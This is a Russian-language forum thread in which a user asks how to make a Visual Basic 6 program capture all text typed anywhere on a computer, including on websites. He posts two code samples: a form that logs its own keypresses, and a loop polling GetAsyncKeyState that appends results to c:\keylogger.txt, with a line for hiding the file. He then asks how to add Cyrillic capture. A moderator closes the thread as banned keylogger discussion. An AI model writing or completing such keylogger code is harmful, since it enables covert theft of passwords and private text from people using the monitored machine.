Как реализовать(дописать )программный код?)

[tembi4]

Имееться код:
Private Sub form_KeyPress(KeyAscii As Integer)
Dim kascci
Open "d://логи.txt" For Append As #1
Print #1, temp;
'Необходимо закрыть файл прежде, чем вновь открыть в другом режиме.
Close #1
kascci = Chr(KeyAscii)
temp = kascci
'Print temp 'печать KeyAscii и саму букву на форме
End Sub
Private Sub Form_LostFocus()
Form1.SetFocus
End Sub
Private Sub Timer1_Timer()
SetWindowPos Form1.hwnd, -1, 0, 0, 200, 200, 0
End Sub
Как заставить программу перехватывать весь вводимый текст(блокнот,текстбоксы,сайты и др)?=)

[Qwertiy]

Как заставить программу перехватывать весь вводимый текст(блокнот,текстбоксы,сайты и др)?=)

Совсем не так.

[tembi4]

Не понял,совсем ни как?Или я не правильно сформулировал вопрос?

[Qwertiy]

"Совсем не так" <> "совсем ни как"!

Нужно вешать хук, перехватывающий нажатия клавиш.
Твой код не делает ничего близкого к тому, что ты хочешь.

[tembi4]

А тогда другой вопрос как заставить данный код перехватывать и русские символы?)
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next
Dim keystate As Integer, scancodes As Integer
Dim keypressed As String
Dim all As String
Dim bunk As String
Dim size As Integer
Set fso = CreateObject("scripting.filesystemobject")
Set winfold = fso.getspecialfolder(0)
bunk = "c:\keylogger.txt"
Do
Sleep 10
For scancodes = 1 To 256
keystate = GetAsyncKeyState(scancodes)
If keystate <> 0 Then
keypressed = keystate
If Not (fso.fileexists(bunk)) Then
Open bunk For Binary Access Read Write As #2
Close #2
End If
all = all & keypressed
If Len(all) > 30 Then
size = FileLen(bunk)
Open bunk For Binary Access Write As #1
Seek #1, size + 1
Put #1, , all
Close #1
all = ""
End If
End If
Next
Loop
'SetAttr "c:\keylogger.txt", vbHidden
End Sub

[Хакер]

Обсуждение кейлоггеров запрещено.
Замечание за неиспользование тега [code].
Тема закрыта.